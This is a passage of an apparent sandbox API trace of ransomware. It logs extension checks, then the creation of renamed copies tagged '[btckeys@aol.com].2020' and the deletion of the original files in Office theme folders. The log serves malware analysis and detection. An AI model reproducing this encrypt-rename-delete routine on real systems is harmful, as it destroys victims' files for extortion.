(lpString=".docx") returned 5 [0079.441] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.441] lstrlenW (lpString=".pdf") returned 4 [0079.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.441] lstrlenW (lpString=".xls") returned 4 [0079.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.441] lstrlenW (lpString=".xlsx") returned 5 [0079.441] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.441] lstrlenW (lpString=".ppt") returned 4 [0079.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.441] lstrlenW (lpString=".zip") returned 4 [0079.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.441] lstrlenW (lpString=".rar") returned 4 [0079.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.441] lstrlenW (lpString=".bz2") returned 4 [0079.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.441] lstrlenW (lpString=".7z") returned 3 [0079.441] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.441] lstrlenW (lpString=".dbf") returned 4 [0079.441] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.442] lstrlenW (lpString=".1cd") returned 4 [0079.442] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.442] lstrlenW (lpString=".jpg") returned 4 [0079.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.442] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0079.442] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0079.671] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=33277) returned 1 [0079.671] CloseHandle (hObject=0x174) returned 1 [0079.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0079.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0079.672] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.672] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.047] GetLastError () returned 0x0 [0080.048] ReadFile (in: hFile=0x174, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x81fd, lpOverlapped=0x0) returned 1 [0080.050] WriteFile (in: hFile=0x198, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x8200, lpOverlapped=0x0) returned 1 [0080.051] ReadFile (in: hFile=0x174, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0080.051] WriteFile (in: hFile=0x198, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.052] SetEndOfFile (hFile=0x198) returned 1 [0080.052] CloseHandle (hObject=0x198) returned 1 [0080.052] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.052] SetEndOfFile (hFile=0x174) returned 1 [0080.053] CloseHandle (hObject=0x174) returned 1 [0080.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0080.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString=".doc") returned 4 [0080.054] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString=".docx") returned 5 [0080.054] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.054] lstrlenW (lpString=".pdf") returned 4 [0080.054] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString=".xls") returned 4 [0080.054] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.054] lstrlenW (lpString=".xlsx") returned 5 [0080.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.054] lstrlenW (lpString=".ppt") returned 4 [0080.054] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString=".zip") returned 4 [0080.054] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.054] lstrlenW (lpString=".rar") returned 4 [0080.054] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.054] lstrlenW (lpString=".bz2") returned 4 [0080.054] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString=".7z") returned 3 [0080.054] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString=".dbf") returned 4 [0080.054] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString=".1cd") returned 4 [0080.054] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString=".jpg") returned 4 [0080.054] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.055] lstrlenW (lpString=".doc") returned 4 [0080.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.055] lstrlenW (lpString=".docx") returned 5 [0080.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.055] lstrlenW (lpString=".pdf") returned 4 [0080.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.055] lstrlenW (lpString=".xls") returned 4 [0080.055] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.055] lstrlenW (lpString=".xlsx") returned 5 [0080.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.055] lstrlenW (lpString=".ppt") returned 4 [0080.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.055] lstrlenW (lpString=".zip") returned 4 [0080.055] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.055] lstrlenW (lpString=".rar") returned 4 [0080.055] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.055] lstrlenW (lpString=".bz2") returned 4 [0080.074] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.074] lstrlenW (lpString=".7z") returned 3 [0080.074] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.074] lstrlenW (lpString=".dbf") returned 4 [0080.074] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.074] lstrlenW (lpString=".1cd") returned 4 [0080.074] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0080.074] lstrlenW (lpString=".jpg") returned 4 [0080.074] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.074] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0080.074] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0080.869] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=32403) returned 1 [0080.869] CloseHandle (hObject=0x1d8) returned 1 [0080.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0080.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0080.869] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.869] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0080.870] GetLastError () returned 0x0 [0080.870] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x7e93, lpOverlapped=0x0) returned 1 [0081.008] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0081.010] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.010] WriteFile (in: hFile=0x1e8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.010] SetEndOfFile (hFile=0x1e8) returned 1 [0081.010] CloseHandle (hObject=0x1e8) returned 1 [0081.010] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.010] SetEndOfFile (hFile=0x1d8) returned 1 [0081.012] CloseHandle (hObject=0x1d8) returned 1 [0081.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.012] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0081.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.013] lstrlenW (lpString=".doc") returned 4 [0081.013] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.013] lstrlenW (lpString=".docx") returned 5 [0081.013] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.013] lstrlenW (lpString=".pdf") returned 4 [0081.013] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.013] lstrlenW (lpString=".xls") returned 4 [0081.013] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.013] lstrlenW (lpString=".xlsx") returned 5 [0081.013] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.013] lstrlenW (lpString=".ppt") returned 4 [0081.013] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.013] lstrlenW (lpString=".zip") returned 4 [0081.013] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.013] lstrlenW (lpString=".rar") returned 4 [0081.013] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.013] lstrlenW (lpString=".bz2") returned 4 [0081.013] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.013] lstrlenW (lpString=".7z") returned 3 [0081.013] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString=".dbf") returned 4 [0081.014] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString=".1cd") returned 4 [0081.014] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString=".jpg") returned 4 [0081.014] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString=".doc") returned 4 [0081.014] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.014] lstrlenW (lpString=".docx") returned 5 [0081.014] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.014] lstrlenW (lpString=".pdf") returned 4 [0081.014] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.014] lstrlenW (lpString=".xls") returned 4 [0081.014] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.014] lstrlenW (lpString=".xlsx") returned 5 [0081.014] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.014] lstrlenW (lpString=".ppt") returned 4 [0081.014] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.014] lstrlenW (lpString=".zip") returned 4 [0081.015] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.015] lstrlenW (lpString=".rar") returned 4 [0081.015] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.015] lstrlenW (lpString=".bz2") returned 4 [0081.015] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.015] lstrlenW (lpString=".7z") returned 3 [0081.015] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.015] lstrlenW (lpString=".dbf") returned 4 [0081.015] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.015] lstrlenW (lpString=".1cd") returned 4 [0081.015] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0081.015] lstrlenW (lpString=".jpg") returned 4 [0081.015] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.015] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.015] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.016] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=5120) returned 1 [0081.016] CloseHandle (hObject=0x1d8) returned 1 [0081.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0081.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.017] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.017] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.310] GetLastError () returned 0x0 [0081.310] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x1400, lpOverlapped=0x0) returned 1 [0081.312] WriteFile (in: hFile=0x1e0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x1410, lpOverlapped=0x0) returned 1 [0081.313] ReadFile (in: hFile=0x1d8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.313] WriteFile (in: hFile=0x1e0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.314] SetEndOfFile (hFile=0x1e0) returned 1 [0081.314] CloseHandle (hObject=0x1e0) returned 1 [0081.314] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.314] SetEndOfFile (hFile=0x1d8) returned 1 [0081.315] CloseHandle (hObject=0x1d8) returned 1 [0081.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.316] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0081.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.316] lstrlenW (lpString=".doc") returned 4 [0081.316] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.316] lstrlenW (lpString=".docx") returned 5 [0081.316] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.316] lstrlenW (lpString=".pdf") returned 4 [0081.317] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.317] lstrlenW (lpString=".xls") returned 4 [0081.317] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.317] lstrlenW (lpString=".xlsx") returned 5 [0081.317] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.317] lstrlenW (lpString=".ppt") returned 4 [0081.317] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.317] lstrlenW (lpString=".zip") returned 4 [0081.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.317] lstrlenW (lpString=".rar") returned 4 [0081.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.317] lstrlenW (lpString=".bz2") returned 4 [0081.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.317] lstrlenW (lpString=".7z") returned 3 [0081.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.317] lstrlenW (lpString=".dbf") returned 4 [0081.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.317] lstrlenW (lpString=".1cd") returned 4 [0081.317] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.317] lstrlenW (lpString=".jpg") returned 4 [0081.317] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.318] 